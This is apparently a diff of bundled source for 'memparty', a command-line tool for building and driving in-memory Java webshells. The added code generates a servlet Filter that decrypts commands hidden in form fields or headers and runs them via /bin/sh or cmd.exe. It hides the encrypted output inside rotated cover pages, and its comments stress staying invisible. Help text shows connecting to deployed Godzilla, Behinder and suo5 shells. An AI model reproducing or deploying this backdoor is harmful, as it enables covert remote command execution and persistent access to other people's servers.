2026
|
+
import { dirname, join as join3 } from "path";
|
|
1498
2027
|
var OUTPUT_LIMIT = 2e3;
|
|
1499
2028
|
function opLogPath() {
|
|
1500
|
-
return process.env.MEMPARTY_OPLOG ??
|
|
2029
|
+
return process.env.MEMPARTY_OPLOG ?? join3(homedir3(), ".memparty", "operations.jsonl");
|
|
1501
2030
|
}
|
|
1502
2031
|
function logOp(entry) {
|
|
1503
2032
|
try {
|
|
1504
2033
|
const file = opLogPath();
|
|
1505
|
-
|
|
2034
|
+
mkdirSync2(dirname(file), { recursive: true });
|
|
1506
2035
|
appendFileSync(file, `${JSON.stringify({ ts: (/* @__PURE__ */ new Date()).toISOString(), ...entry })}
|
|
1507
2036
|
`);
|
|
1508
2037
|
} catch {
|
|
@@ -1512,8 +2041,8 @@ function readOps(filter = {}) {
|
|
|
1512
2041
|
let entries = [];
|
|
1513
2042
|
try {
|
|
1514
2043
|
const file = opLogPath();
|
|
1515
|
-
if (
|
|
1516
|
-
for (const line of
|
|
2044
|
+
if (existsSync2(file)) {
|
|
2045
|
+
for (const line of readFileSync3(file, "utf8").split("\n")) {
|
|
1517
2046
|
const trimmed = line.trim();
|
|
1518
2047
|
if (!trimmed) continue;
|
|
1519
2048
|
try {
|
|
@@ -1558,25 +2087,25 @@ function formatOp(e) {
|
|
|
1558
2087
|
}
|
|
1559
2088
|
|
|
1560
2089
|
// src/core/targets.ts
|
|
1561
|
-
import { existsSync as
|
|
1562
|
-
import { homedir as
|
|
1563
|
-
import { dirname as dirname2, join as
|
|
1564
|
-
var
|
|
2090
|
+
import { existsSync as existsSync3, mkdirSync as mkdirSync3, readFileSync as readFileSync4, writeFileSync as writeFileSync2 } from "fs";
|
|
2091
|
+
import { homedir as homedir4 } from "os";
|
|
2092
|
+
import { dirname as dirname2, join as join4 } from "path";
|
|
2093
|
+
var NAME_RE2 = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
|
|
1565
2094
|
function checkName(kind, name) {
|
|
1566
|
-
if (!
|
|
2095
|
+
if (!NAME_RE2.test(name)) {
|
|
1567
2096
|
throw new Error(
|
|
1568
2097
|
`invalid ${kind} name ${JSON.stringify(name)} \u2014 use letters, digits, '.', '_', '-'`
|
|
1569
2098
|
);
|
|
1570
2099
|
}
|
|
1571
2100
|
}
|
|
1572
2101
|
function targetStorePath() {
|
|
1573
|
-
return process.env.MEMPARTY_TARGETS ??
|
|
2102
|
+
return process.env.MEMPARTY_TARGETS ?? join4(homedir4(), ".memparty", "targets.json");
|
|
1574
2103
|
}
|
|
1575
2104
|
function listProjects() {
|
|
1576
2105
|
try {
|
|
1577
2106
|
const file = targetStorePath();
|
|
1578
|
-
if (!
|
|
1579
|
-
const data = JSON.parse(
|
|
2107
|
+
if (!existsSync3(file)) return {};
|
|
2108
|
+
const data = JSON.parse(readFileSync4(file, "utf8"));
|
|
1580
2109
|
if (data !== null && typeof data === "object" && !Array.isArray(data)) {
|
|
1581
2110
|
return data;
|
|
1582
2111
|
}
|
|
@@ -1589,8 +2118,8 @@ function getProject(name) {
|
|
|
1589
2118
|
}
|
|
1590
2119
|
function writeProjects(projects) {
|
|
1591
2120
|
const file = targetStorePath();
|
|
1592
|
-
|
|
1593
|
-
|
|
2121
|
+
mkdirSync3(dirname2(file), { recursive: true });
|
|
2122
|
+
writeFileSync2(file, `${JSON.stringify(projects, null, 2)}
|
|
1594
2123
|
`, { mode: 384 });
|
|
1595
2124
|
}
|
|
1596
2125
|
function saveProjectMeta(name, meta) {
|
|
@@ -1697,7 +2226,8 @@ function autoSaveShell(conn) {
|
|
|
1697
2226
|
headerName: conn.headerName,
|
|
1698
2227
|
headerValue: conn.headerValue,
|
|
1699
2228
|
extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
|
|
1700
|
-
insecure: conn.insecure
|
|
2229
|
+
insecure: conn.insecure,
|
|
2230
|
+
profile: conn.profile
|
|
1701
2231
|
});
|
|
1702
2232
|
return `${projectName}/${shellName}`;
|
|
1703
2233
|
}
|
|
@@ -1739,7 +2269,7 @@ function resolveConnection(ref, flags) {
|
|
|
1739
2269
|
throw new Error("no URL \u2014 pass --url or a saved target name");
|
|
1740
2270
|
}
|
|
1741
2271
|
if (!tool) {
|
|
1742
|
-
throw new Error("--tool is required
|
|
2272
|
+
throw new Error("--tool is required \u2014 see the command's --help for available protocols");
|
|
1743
2273
|
}
|
|
1744
2274
|
return {
|
|
1745
2275
|
url,
|
|
@@ -1750,6 +2280,7 @@ function resolveConnection(ref, flags) {
|
|
|
1750
2280
|
headerValue: flags.headerValue ?? stored?.headerValue,
|
|
1751
2281
|
extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders },
|
|
1752
2282
|
insecure: flags.insecure ?? stored?.insecure,
|
|
2283
|
+
profile: flags.profile ?? stored?.profile,
|
|
1753
2284
|
targetName
|
|
1754
2285
|
};
|
|
1755
2286
|
}
|
|
@@ -1768,10 +2299,8 @@ function parseExtraHeaders(lines) {
|
|
|
1768
2299
|
}
|
|
1769
2300
|
function registerConnectCommand(program) {
|
|
1770
2301
|
program.command("connect").description(
|
|
1771
|
-
"Test whether a deployed webshell
|
|
1772
|
-
).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
1773
|
-
new Option("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder", "suo5"])
|
|
1774
|
-
).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
|
|
2302
|
+
"Test whether a deployed webshell is alive and the credentials work"
|
|
2303
|
+
).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(new Option("-t, --tool <tool>", "shell protocol").choices(protocolNames())).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").option(
|
|
1775
2304
|
"--header-name <name>",
|
|
1776
2305
|
"gate header name reported by gen (shellToolConfig.headerName)"
|
|
1777
2306
|
).option(
|
|
@@ -1779,7 +2308,7 @@ function registerConnectCommand(program) {
|
|
|
1779
2308
|
"gate header value reported by gen (shellToolConfig.headerValue)"
|
|
1780
2309
|
).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').addOption(
|
|
1781
2310
|
new Option("--suo5-mode <mode>", "suo5 protocol variant").choices(["auto", "v2", "v1"]).default("auto")
|
|
1782
|
-
).option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
|
|
2311
|
+
).option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
|
|
1783
2312
|
"after",
|
|
1784
2313
|
`
|
|
1785
2314
|
Examples:
|
|
@@ -1788,6 +2317,8 @@ Examples:
|
|
|
1788
2317
|
$ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond \\
|
|
1789
2318
|
--header-value my-secret-token
|
|
1790
2319
|
$ memparty connect -u http://target/suo5.jsp -t suo5
|
|
2320
|
+
$ memparty connect -u http://target/ -t mimic --pass pass --key key \\
|
|
2321
|
+
--profile target-site --dynamic-path
|
|
1791
2322
|
$ memparty connect web222 # saved target, see 'memparty list'
|
|
1792
2323
|
$ memparty connect -u https://target/shell.jsp -t godzilla -k --json
|
|
1793
2324
|
|
|
@@ -1811,7 +2342,8 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
|
|
|
1811
2342
|
headerName: opts.headerName,
|
|
1812
2343
|
headerValue: opts.headerValue,
|
|
1813
2344
|
extraHeaders: parseExtraHeaders(opts.header),
|
|
1814
|
-
insecure: opts.insecure
|
|
2345
|
+
insecure: opts.insecure,
|
|
2346
|
+
profile: opts.profile
|
|
1815
2347
|
});
|
|
1816
2348
|
} catch (err) {
|
|
1817
2349
|
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
@@ -1826,21 +2358,18 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
|
|
|
1826
2358
|
insecure: conn.insecure
|
|
1827
2359
|
};
|
|
1828
2360
|
let result;
|
|
1829
|
-
|
|
1830
|
-
|
|
1831
|
-
|
|
1832
|
-
|
|
1833
|
-
|
|
1834
|
-
|
|
1835
|
-
|
|
1836
|
-
|
|
1837
|
-
|
|
1838
|
-
|
|
1839
|
-
|
|
1840
|
-
|
|
1841
|
-
`);
|
|
1842
|
-
process.exitCode = 1;
|
|
1843
|
-
return;
|
|
2361
|
+
try {
|
|
2362
|
+
const protocol = requireProtocol(conn.tool);
|
|
2363
|
+
const options = {
|
|
2364
|
+
suo5Mode: opts.suo5Mode,
|
|
2365
|
+
profile: conn.profile,
|
|
2366
|
+
dynamicPath: opts.dynamicPath
|
|
2367
|
+
};
|
|
2368
|
+
result = await protocol.test({ conn, common, options });
|
|
2369
|
+
} catch (err) {
|
|
2370
|
+
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
2371
|
+
process.exitCode = 1;
|
|
2372
|
+
return;
|
|
1844
2373
|
}
|
|
1845
2374
|
let savedAs;
|
|
1846
2375
|
if (result.ok && conn.targetName === void 0 && opts.save !== false) {
|
|
@@ -1877,6 +2406,727 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
|
|
|
1877
2406
|
});
|
|
1878
2407
|
}
|
|
1879
2408
|
|
|
2409
|
+
// src/commands/custom.ts
|
|
2410
|
+
import { Command as Command2 } from "commander";
|
|
2411
|
+
|
|
2412
|
+
// src/custom/build.ts
|
|
2413
|
+
import { mkdirSync as mkdirSync4, readFileSync as readFileSync5, writeFileSync as writeFileSync3 } from "fs";
|
|
2414
|
+
import { join as join5 } from "path";
|
|
2415
|
+
|
|
2416
|
+
// src/core/jdk.ts
|
|
2417
|
+
var JDK_VERSIONS = {
|
|
2418
|
+
java6: 50,
|
|
2419
|
+
java8: 52,
|
|
2420
|
+
java9: 53,
|
|
2421
|
+
java11: 55,
|
|
2422
|
+
java17: 61,
|
|
2423
|
+
java21: 65
|
|
2424
|
+
};
|
|
2425
|
+
function resolveJreVersion(input3) {
|
|
2426
|
+
if (input3 === void 0 || input3 === "") return void 0;
|
|
2427
|
+
if (typeof input3 === "number") return input3;
|
|
2428
|
+
const normalized = input3.trim().toLowerCase();
|
|
2429
|
+
if (normalized in JDK_VERSIONS) return JDK_VERSIONS[normalized];
|
|
2430
|
+
const withPrefix = `java${normalized}`;
|
|
2431
|
+
if (withPrefix in JDK_VERSIONS) return JDK_VERSIONS[withPrefix];
|
|
2432
|
+
const num = Number(normalized);
|
|
2433
|
+
if (Number.isInteger(num) && num > 0) return num;
|
|
2434
|
+
throw new Error(
|
|
2435
|
+
`Invalid JDK version "${input3}". Use one of: ${Object.keys(JDK_VERSIONS).join(", ")}, or a class-file major version like 52.`
|
|
2436
|
+
);
|
|
2437
|
+
}
|
|
2438
|
+
|
|
2439
|
+
// src/custom/java-template.ts
|
|
2440
|
+
function javaStringLiteral(s) {
|
|
2441
|
+
return s.replaceAll("\\", "\\\\").replaceAll('"', '\\"').replaceAll("\r", "").replaceAll("\n", "\\n").replaceAll(/[^\x00-\x7f]/g, (ch) => `\\u${ch.codePointAt(0).toString(16).padStart(4, "0")}`);
|
|
2442
|
+
}
|
|
2443
|
+
var MD5_METHOD = String.raw`
|
|
2444
|
+
static String md5Hex(String s) throws Exception {
|
|
2445
|
+
MessageDigest m = MessageDigest.getInstance("MD5");
|
|
2446
|
+
byte[] d = m.digest(s.getBytes("UTF-8"));
|
|
2447
|
+
StringBuilder sb = new StringBuilder();
|
|
2448
|
+
for (byte b : d) sb.append(String.format("%02x", b & 0xff));
|
|
2449
|
+
return sb.toString();
|
|
2450
|
+
}
|
|
2451
|
+
`;
|
|
2452
|
+
function cryptMethod(algorithm) {
|
|
2453
|
+
switch (algorithm) {
|
|
2454
|
+
case "aes-ecb":
|
|
2455
|
+
return String.raw`
|
|
2456
|
+
static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
|
|
2457
|
+
Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
|
|
2458
|
+
c.init(enc ? Cipher.ENCRYPT_MODE : Cipher.DECRYPT_MODE,
|
|
2459
|
+
new SecretKeySpec(key.getBytes("UTF-8"), "AES"));
|
|
2460
|
+
return c.doFinal(data);
|
|
2461
|
+
}
|
|
2462
|
+
`;
|
|
2463
|
+
case "aes-cbc":
|
|
2464
|
+
return String.raw`
|
|
2465
|
+
static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
|
|
2466
|
+
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
|
|
2467
|
+
SecretKeySpec ks = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
|
|
2468
|
+
if (enc) {
|
|
2469
|
+
byte[] iv = new byte[16];
|
|
2470
|
+
new java.security.SecureRandom().nextBytes(iv);
|
|
2471
|
+
c.init(Cipher.ENCRYPT_MODE, ks, new IvParameterSpec(iv));
|
|
2472
|
+
byte[] ct = c.doFinal(data);
|
|
2473
|
+
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
2474
|
+
bos.write(iv);
|
|
2475
|
+
bos.write(ct);
|
|
2476
|
+
return bos.toByteArray();
|
|
2477
|
+
}
|
|
2478
|
+
c.init(Cipher.DECRYPT_MODE, ks, new IvParameterSpec(data, 0, 16));
|
|
2479
|
+
return c.doFinal(data, 16, data.length - 16);
|
|
2480
|
+
}
|
|
2481
|
+
`;
|
|
2482
|
+
case "xor":
|
|
2483
|
+
return String.raw`
|
|
2484
|
+
static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
|
|
2485
|
+
byte[] k = key.getBytes("UTF-8");
|
|
2486
|
+
byte[] out = new byte[data.length];
|
|
2487
|
+
for (int i = 0; i < data.length; i++) out[i] = (byte) (data[i] ^ k[i % k.length]);
|
|
2488
|
+
return out;
|
|
2489
|
+
}
|
|
2490
|
+
`;
|
|
2491
|
+
}
|
|
2492
|
+
}
|
|
2493
|
+
function encDecMethods(encoding) {
|
|
2494
|
+
switch (encoding) {
|
|
2495
|
+
case "base64":
|
|
2496
|
+
return String.raw`
|
|
2497
|
+
static String enc(byte[] data) {
|
|
2498
|
+
return java.util.Base64.getEncoder().encodeToString(data);
|
|
2499
|
+
}
|
|
2500
|
+
static byte[] dec(String s) {
|
|
2501
|
+
return java.util.Base64.getDecoder().decode(s);
|
|
2502
|
+
}
|
|
2503
|
+
`;
|
|
2504
|
+
case "base64url":
|
|
2505
|
+
return String.raw`
|
|
2506
|
+
static String enc(byte[] data) {
|
|
2507
|
+
return java.util.Base64.getUrlEncoder().withoutPadding().encodeToString(data);
|
|
2508
|
+
}
|
|
2509
|
+
static byte[] dec(String s) {
|
|
2510
|
+
return java.util.Base64.getUrlDecoder().decode(s);
|
|
2511
|
+
}
|
|
2512
|
+
`;
|
|
2513
|
+
case "hex":
|
|
2514
|
+
return String.raw`
|
|
2515
|
+
static String enc(byte[] data) {
|
|
2516
|
+
StringBuilder sb = new StringBuilder();
|
|
2517
|
+
for (byte b : data) sb.append(String.format("%02x", b & 0xff));
|
|
2518
|
+
return sb.toString();
|
|
2519
|
+
}
|
|
2520
|
+
static byte[] dec(String s) {
|
|
2521
|
+
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
2522
|
+
for (int i = 0; i + 1 < s.length(); i += 2) bos.write(Integer.parseInt(s.substring(i, i + 2), 16));
|
|
2523
|
+
return bos.toByteArray();
|
|
2524
|
+
}
|
|
2525
|
+
`;
|
|
2526
|
+
}
|
|
2527
|
+
}
|
|
2528
|
+
var PAD_METHODS = String.raw`
|
|
2529
|
+
static int padLen(String aesKey) throws Exception {
|
|
2530
|
+
return Integer.parseInt(md5Hex(aesKey).substring(0, 2), 16) % 16;
|
|
2531
|
+
}
|
|
2532
|
+
static String appendPad(String s, String aesKey) throws Exception {
|
|
2533
|
+
int n = padLen(aesKey);
|
|
2534
|
+
StringBuilder sb = new StringBuilder(s);
|
|
2535
|
+
java.util.Random r = new java.util.Random();
|
|
2536
|
+
for (int i = 0; i < n; i++) {
|
|
2537
|
+
sb.append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(r.nextInt(62)));
|
|
2538
|
+
}
|
|
2539
|
+
return sb.toString();
|
|
2540
|
+
}
|
|
2541
|
+
static String stripPad(String s, String aesKey) throws Exception {
|
|
2542
|
+
int n = padLen(aesKey);
|
|
2543
|
+
return n == 0 ? s : s.substring(0, Math.max(0, s.length() - n));
|
|
2544
|
+
}
|
|
2545
|
+
`;
|
|
2546
|
+
function fieldTransforms(cipher) {
|
|
2547
|
+
const afterEncode = cipher.padTail ? "appendPad(s, aesKey)" : "s";
|
|
2548
|
+
const beforeDecode = cipher.padTail ? "stripPad(v, aesKey)" : "v";
|
|
2549
|
+
return `
|
|
2550
|
+
static String encryptField(byte[] plain, String aesKey) throws Exception {
|
|
2551
|
+
String s = enc(crypt(plain, aesKey, true));
|
|
2552
|
+
return ${afterEncode};
|
|
2553
|
+
}
|
|
2554
|
+
static byte[] decryptField(String v, String aesKey) throws Exception {
|
|
2555
|
+
String s = ${beforeDecode};
|
|
2556
|
+
return crypt(dec(s), aesKey, false);
|
|
2557
|
+
}
|
|
2558
|
+
`;
|
|
2559
|
+
}
|
|
2560
|
+
function wrapPayloadMethod(marker) {
|
|
2561
|
+
if (marker === "html-comment") {
|
|
2562
|
+
return String.raw`
|
|
2563
|
+
static String wrapPayload(String payload, String passKey) throws Exception {
|
|
2564
|
+
return "<!--Re" + md5Hex(passKey).substring(0, 5) + "_config:" + payload + "-->";
|
|
2565
|
+
}
|
|
2566
|
+
`;
|
|
2567
|
+
}
|
|
2568
|
+
return String.raw`
|
|
2569
|
+
static String wrapPayload(String payload, String passKey) throws Exception {
|
|
2570
|
+
return "<script>var Re" + md5Hex(passKey).substring(0, 5) + "_config=\"" + payload + "\";</script>";
|
|
2571
|
+
}
|
|
2572
|
+
`;
|
|
2573
|
+
}
|
|
2574
|
+
function sharedMethods(cipher) {
|
|
2575
|
+
return MD5_METHOD + cryptMethod(cipher.algorithm) + encDecMethods(cipher.encoding) + (cipher.padTail ? PAD_METHODS : "") + fieldTransforms(cipher);
|
|
2576
|
+
}
|
|
2577
|
+
function renderFilterJava(opts) {
|
|
2578
|
+
const { className, pass, secret, fields, templates, cipher } = opts;
|
|
2579
|
+
const fieldsJava = fields.map((f) => `"${javaStringLiteral(f)}"`).join(", ");
|
|
2580
|
+
const tplsJava = templates.map((t) => ` "${javaStringLiteral(t)}"`).join(",\n");
|
|
2581
|
+
return `package mimic;
|
|
2582
|
+
|
|
2583
|
+
import java.io.*;
|
|
2584
|
+
import java.security.MessageDigest;
|
|
2585
|
+
import javax.crypto.Cipher;
|
|
2586
|
+
import javax.crypto.spec.IvParameterSpec;
|
|
2587
|
+
import javax.crypto.spec.SecretKeySpec;
|
|
2588
|
+
import javax.servlet.*;
|
|
2589
|
+
import javax.servlet.http.*;
|
|
2590
|
+
|
|
2591
|
+
/**
|
|
2592
|
+
* mimic protocol server (matches src/connect/mimic-codecs.ts):
|
|
2593
|
+
* cipher=${cipher.algorithm} encoding=${cipher.encoding} padTail=${cipher.padTail} marker=${cipher.marker}
|
|
2594
|
+
*
|
|
2595
|
+
* Detection uses getParameter()/getHeader() only, never reads the body
|
|
2596
|
+
* stream: form posts are parsed+cached by the container so downstream
|
|
2597
|
+
* getParameter() callers still work, and raw-body posts (Behinder) keep an
|
|
2598
|
+
* untouched body stream for the shell behind us. Anything that is not ours
|
|
2599
|
+
* falls through chain.doFilter; any error answers with the cover page.
|
|
2600
|
+
*/
|
|
2601
|
+
public class ${className} implements Filter {
|
|
2602
|
+
/** carriers that may hold the ciphertext (form fields / headers, from the profile) */
|
|
2603
|
+
static final String[] FIELDS = { ${fieldsJava} };
|
|
2604
|
+
/** credentials \u2014 must match the client's --pass/--key (key + marker derivation) */
|
|
2605
|
+
static final String PASS = "${javaStringLiteral(pass)}";
|
|
2606
|
+
static final String SECRET = "${javaStringLiteral(secret)}";
|
|
2607
|
+
/** Cover pages from the site profile \u2014 rotated per response so the skin varies. */
|
|
2608
|
+
static final String[] TPLS = {
|
|
2609
|
+
${tplsJava}
|
|
2610
|
+
};
|
|
2611
|
+
|
|
2612
|
+
public void init(FilterConfig filterConfig) {}
|
|
2613
|
+
public void destroy() {}
|
|
2614
|
+
${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
|
|
2615
|
+
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
|
|
2616
|
+
throws IOException, ServletException {
|
|
2617
|
+
String value = null;
|
|
2618
|
+
for (String f : FIELDS) {
|
|
2619
|
+
value = request.getParameter(f);
|
|
2620
|
+
if (value == null && request instanceof HttpServletRequest) {
|
|
2621
|
+
// secretIn=header: the ciphertext may ride a header instead of a form field
|
|
2622
|
+
value = ((HttpServletRequest) request).getHeader(f);
|
|
2623
|
+
}
|
|
2624
|
+
if (value != null) break;
|
|
2625
|
+
}
|
|
2626
|
+
if (value == null) {
|
|
2627
|
+
chain.doFilter(request, response);
|
|
2628
|
+
return;
|
|
2629
|
+
}
|
|
2630
|
+
String aesKey;
|
|
2631
|
+
byte[] cmd;
|
|
2632
|
+
try {
|
|
2633
|
+
aesKey = md5Hex(SECRET).substring(0, 16);
|
|
2634
|
+
cmd = decryptField(value, aesKey);
|
|
2635
|
+
} catch (Exception notOurs) {
|
|
2636
|
+
// the field exists but doesn't decrypt \u2014 this is someone else's
|
|
2637
|
+
// legitimate form (e.g. the real login POST), stay invisible
|
|
2638
|
+
chain.doFilter(request, response);
|
|
2639
|
+
return;
|
|
2640
|
+
}
|
|
2641
|
+
String tpl = TPLS[new java.util.Random().nextInt(TPLS.length)];
|
|
2642
|
+
try {
|
|
2643
|
+
String command = new String(cmd, "UTF-8");
|
|
2644
|
+
boolean win = System.getProperty("os.name").toLowerCase().contains("win");
|
|
2645
|
+
ProcessBuilder pb = win
|
|
2646
|
+
? new ProcessBuilder("cmd.exe", "/c", command)
|
|
2647
|
+
: new ProcessBuilder("/bin/sh", "-c", command);
|
|
2648
|
+
pb.redirectErrorStream(true);
|
|
2649
|
+
Process proc = pb.start();
|
|
2650
|
+
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
2651
|
+
InputStream in = proc.getInputStream();
|
|
2652
|
+
byte[] buf = new byte[8192];
|
|
2653
|
+
int n;
|
|
2654
|
+
while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
|
|
2655
|
+
proc.waitFor();
|
|
2656
|
+
String payload = encryptField(bos.toByteArray(), aesKey);
|
|
2657
|
+
String fragment = wrapPayload(payload, PASS + SECRET);
|
|
2658
|
+
int idx = tpl.toLowerCase().lastIndexOf("</body>");
|
|
2659
|
+
String page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
|
|
2660
|
+
response.setContentType("text/html;charset=UTF-8");
|
|
2661
|
+
response.setCharacterEncoding("UTF-8");
|
|
2662
|
+
response.getWriter().write(page);
|
|
2663
|
+
} catch (Exception e) {
|
|
2664
|
+
// behave like the cover page on any error \u2014 stay quiet
|
|
2665
|
+
response.setContentType("text/html;charset=UTF-8");
|
|
2666
|
+
response.getWriter().write(tpl);
|
|
2667
|
+
}
|
|
2668
|
+
}
|
|
2669
|
+
}
|
|
2670
|
+
`;
|
|
2671
|
+
}
|
|
2672
|
+
|
|
2673
|
+
// src/custom/javac.ts
|
|
2674
|
+
import { execFileSync } from "child_process";
|
|
2675
|
+
import { existsSync as existsSync4 } from "fs";
|
|
2676
|
+
import { fileURLToPath } from "url";
|
|
2677
|
+
function servletApiJar() {
|
|
2678
|
+
const candidates = [
|
|
2679
|
+
new URL("../resources/javax.servlet-api-3.1.0.jar", import.meta.url),
|
|
2680
|
+
// dist/*.js
|
|
2681
|
+
new URL("../../resources/javax.servlet-api-3.1.0.jar", import.meta.url)
|
|
2682
|
+
// src/custom/*.ts
|
|
2683
|
+
];
|
|
2684
|
+
for (const candidate of candidates) {
|
|
2685
|
+
const p = fileURLToPath(candidate);
|
|
2686
|
+
if (existsSync4(p)) return p;
|
|
2687
|
+
}
|
|
2688
|
+
throw new Error(
|
|
2689
|
+
"bundled servlet-api jar not found (expected resources/javax.servlet-api-3.1.0.jar in the package)"
|
|
2690
|
+
);
|
|
2691
|
+
}
|
|
2692
|
+
function findJavac() {
|
|
2693
|
+
try {
|
|
2694
|
+
execFileSync("javac", ["-version"], { stdio: "pipe" });
|
|
2695
|
+
return "javac";
|
|
2696
|
+
} catch {
|
|
2697
|
+
throw new Error(
|
|
2698
|
+
"javac not found on PATH \u2014 'memparty custom build' compiles Java locally, install any JDK 11+ and retry"
|
|
2699
|
+
);
|
|
2700
|
+
}
|
|
2701
|
+
}
|
|
2702
|
+
function compileJava(sources, outDir, opts = {}) {
|
|
2703
|
+
const javac = findJavac();
|
|
2704
|
+
const args = ["-encoding", "UTF-8", "--release", "8"];
|
|
2705
|
+
if (opts.classpath && opts.classpath.length > 0) {
|
|
2706
|
+
args.push("-cp", opts.classpath.join(process.platform === "win32" ? ";" : ":"));
|
|
2707
|
+
}
|
|
2708
|
+
args.push("-d", outDir, ...sources);
|
|
2709
|
+
execFileSync(javac, args, { stdio: "pipe" });
|
|
2710
|
+
}
|
|
2711
|
+
|
|
2712
|
+
// src/custom/build.ts
|
|
2713
|
+
function profileSecretFields(profile) {
|
|
2714
|
+
const shapes = profileRequests(profile);
|
|
2715
|
+
const fields = [...new Set(shapes.map((r) => r.secretField).filter(Boolean))];
|
|
2716
|
+
return fields.length > 0 ? fields : ["pass"];
|
|
2717
|
+
}
|
|
2718
|
+
function defaultClassName() {
|
|
2719
|
+
return `MimicFilter${randomString(4)}`;
|
|
2720
|
+
}
|
|
2721
|
+
async function buildCustomMemshell(input3, client, deps = {}) {
|
|
2722
|
+
const compile = deps.compile ?? compileJava;
|
|
2723
|
+
const jarOf = deps.servletJar ?? servletApiJar;
|
|
2724
|
+
const className = input3.className ?? defaultClassName();
|
|
2725
|
+
const shellType = input3.shellType ?? "Filter";
|
|
2726
|
+
const urlPattern = input3.urlPattern ?? "/*";
|
|
2727
|
+
const packer = input3.packer ?? "DefaultBase64";
|
|
2728
|
+
const cipher = resolveCipher(input3.profile.cipher);
|
|
2729
|
+
const templates = profileTemplates(input3.profile).map((t) => t.template);
|
|
2730
|
+
if (templates.length === 0) {
|
|
2731
|
+
throw new Error(`profile '${input3.profile.name}' has no templates \u2014 nothing to use as cover page`);
|
|
2732
|
+
}
|
|
2733
|
+
const outDir = input3.outDir;
|
|
2734
|
+
const packageDir = join5(outDir, "mimic");
|
|
2735
|
+
mkdirSync4(packageDir, { recursive: true });
|
|
2736
|
+
const javaSource = renderFilterJava({
|
|
2737
|
+
className,
|
|
2738
|
+
pass: input3.pass,
|
|
2739
|
+
secret: input3.secret,
|
|
2740
|
+
fields: profileSecretFields(input3.profile),
|
|
2741
|
+
templates,
|
|
2742
|
+
cipher
|
|
2743
|
+
});
|
|
2744
|
+
const javaFile = join5(packageDir, `${className}.java`);
|
|
2745
|
+
writeFileSync3(javaFile, javaSource, "utf8");
|
|
2746
|
+
compile([javaFile], outDir, { classpath: [jarOf()] });
|
|
2747
|
+
const classFile = join5(packageDir, `${className}.class`);
|
|
2748
|
+
const shellClassBase64 = readFileSync5(classFile).toString("base64");
|
|
2749
|
+
const response = await client.generateMemShell({
|
|
2750
|
+
shellConfig: {
|
|
2751
|
+
server: input3.server,
|
|
2752
|
+
shellTool: "Custom",
|
|
2753
|
+
shellType,
|
|
2754
|
+
targetJreVersion: resolveJreVersion(input3.jdk ?? "java8")
|
|
2755
|
+
},
|
|
2756
|
+
shellToolConfig: {
|
|
2757
|
+
shellClassName: `mimic.${className}`,
|
|
2758
|
+
shellClassBase64
|
|
2759
|
+
},
|
|
2760
|
+
injectorConfig: { urlPattern },
|
|
2761
|
+
packer
|
|
2762
|
+
});
|
|
2763
|
+
const payloads = {};
|
|
2764
|
+
if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
|
|
2765
|
+
for (const [name, value] of Object.entries(response.allPackResults)) {
|
|
2766
|
+
const file = join5(outDir, `payload-${name}.txt`);
|
|
2767
|
+
writeFileSync3(file, `${value}
|
|
2768
|
+
`, "utf8");
|
|
2769
|
+
payloads[name] = file;
|
|
2770
|
+
}
|
|
2771
|
+
} else if (response.packResult !== void 0) {
|
|
2772
|
+
const file = join5(outDir, "payload.txt");
|
|
2773
|
+
writeFileSync3(file, `${response.packResult}
|
|
2774
|
+
`, "utf8");
|
|
2775
|
+
payloads[packer] = file;
|
|
2776
|
+
}
|
|
2777
|
+
const result = {
|
|
2778
|
+
className,
|
|
2779
|
+
fullClassName: `mimic.${className}`,
|
|
2780
|
+
injectorClassName: response.memShellResult.injectorClassName,
|
|
2781
|
+
packer,
|
|
2782
|
+
server: input3.server,
|
|
2783
|
+
shellType,
|
|
2784
|
+
urlPattern,
|
|
2785
|
+
pass: input3.pass,
|
|
2786
|
+
secret: input3.secret,
|
|
2787
|
+
cipher,
|
|
2788
|
+
response,
|
|
2789
|
+
files: {
|
|
2790
|
+
java: javaFile,
|
|
2791
|
+
classFile,
|
|
2792
|
+
manifest: join5(outDir, "manifest.json"),
|
|
2793
|
+
payloads
|
|
2794
|
+
}
|
|
2795
|
+
};
|
|
2796
|
+
const manifest = {
|
|
2797
|
+
tool: "mimic",
|
|
2798
|
+
